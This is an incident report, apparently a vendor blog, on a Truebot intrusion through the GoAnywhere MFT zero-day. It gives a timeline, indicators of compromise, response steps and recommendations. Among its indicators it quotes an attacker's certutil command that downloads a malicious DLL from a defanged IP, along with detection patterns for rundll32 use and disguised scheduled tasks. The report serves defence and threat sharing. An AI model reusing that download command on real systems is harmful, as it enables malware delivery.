Full Report
On 02 February 2023, an alert triggered in a Huntress-protected environment. We dive into triaging the threat in this blog.
Analysis Summary
# Incident Report: Truebot Intrusion via GoAnywhere MFT Exploitation
## Executive Summary
On February 2, 2023, Huntress detected a multi-stage intrusion involving the exploitation of a zero-day vulnerability in Fortra’s GoAnywhere MFT. The attack involved the deployment of "Truebot" malware (associated with the Silence group and Cl0p ransomware) via living-off-the-land techniques. Rapid detection of post-exploitation activity allowed for mitigation before the attackers could pivot to lateral movement or ransomware deployment.
## Incident Details
- **Discovery Date:** 02 February 2023
- **Incident Date:** 02 February 2023
- **Affected Organization:** Not disclosed
- **Sector:** Not disclosed
- **Geography:** Bulgaria (Attacker Infrastructure); Victim location not disclosed.
## Timeline of Events
### Initial Access
- **Date/Time:** 02 February 2023
- **Vector:** Exploitation of a vulnerability in GoAnywhere MFT (CVE-2023-0669).
- **Details:** The Apache Tomcat process associated with GoAnywhere MFT spawned a command shell to initiate malicious activity.
### Lateral Movement
- **Details:** The incident was mitigated at the early post-exploitation stage; however, Truebot is historically a precursor to Cobalt Strike beacons and lateral movement via WMI or SMB for ransomware delivery.
### Data Exfiltration/Impact
- **Details:** No data exfiltration was reported due to early intervention. The primary impact was the unauthorized execution of code and persistence via scheduled tasks.
### Detection & Response
- **Detection:** Huntress SOC received two alerts: one for `certutil.exe` downloading a remote resource and another for suspicious scheduled task creation.
- **Response:** Analysts attempted to retrieve the malicious payload (failed due to port closure), analyzed system artifacts (DLL exports and task names), and initiated remediation to prevent the transition to a ransomware event.
## Attack Methodology
- **Initial Access:** Zero-day exploitation of Fortra GoAnywhere MFT.
- **Persistence:** Created scheduled tasks masquerading as NVIDIA crash reports (e.g., `NvTmRep_CrashReport3...`).
- **Defense Evasion:** Used `certutil` with the `-urlcache` flag to download payloads; executed malicious DLLs via `rundll32.exe` from `C:\Users\Public`.
- **Credential Access:** Not observed in this stage, though typical for this actor follow-on.
- **Discovery:** Used `certutil` to probe external connectivity.
- **Lateral Movement:** Prevented; typically involves Truebot-led deployment of Cobalt Strike.
- **Impact:** Potential for full-scale ransomware deployment (Cl0p) was high if not remediated.
## Impact Assessment
- **Financial:** Minimal (Prevented major ransomware loss).
- **Data Breach:** None reported.
- **Operational:** Minimal disruption to the managed host during remediation.
- **Reputational:** Protected by successful defense.
## Indicators of Compromise
- **Network Indicators:**
- `185[.]225[.]69[.]69` (Malicious IP used for payload hosting)
- **File Indicators:**
- `c042ad2947caf4449295a51f9d640d722b5a6ec6957523ebf68cddb87ef3545c` (gamft.dll)
- `0e3a14638456f4451fe8d76fdc04e591fba942c2f16da31857ca66293a58a4c3` (larabqFa.exe)
- **Behavioral Indicators:**
- `certutil.exe -urlcache -f http[:]//185[.]225[.]69[.]69/gamft.dll C:\Users\Public\gamft.dll`
- Execution of `rundll32.exe` with the export `ChkdskExs`.
- Scheduled tasks matching regex: `NvTmRep_CrashReport[0-9]{1}_{[0-9A-Z-]*}`.
## Response Actions
- **Containment:** Blocked communication with identified malicious IP.
- **Eradication:** Deleted malicious DLLs from `C:\Users\Public` and removed unauthorized scheduled tasks.
- **Recovery:** Patching of GoAnywhere MFT software to address the zero-day vulnerability.
## Lessons Learned
- **Visibility Matters:** Standard tools like `certutil` and `rundll32` are frequently abused; monitoring their parent-child relationships (e.g., Tomcat spawning `certutil`) is critical.
- **Zero-Day Speed:** Attackers weaponized the GoAnywhere MFT vulnerability almost immediately after public disclosure.
- **Context is King:** The specific DLL export `ChkdskExs` was a high-fidelity indicator of Truebot.
## Recommendations
- **Patch Management:** Immediately apply patches for Fortra GoAnywhere MFT (CVE-2023-0669).
- **Hardening:** Restrict `C:\Users\Public` and other world-writable directories from executing binaries or DLLs.
- **Monitoring:** Implement alerts for `certutil.exe` usage involving external URLs and `rundll32.exe` loading files from non-standard paths.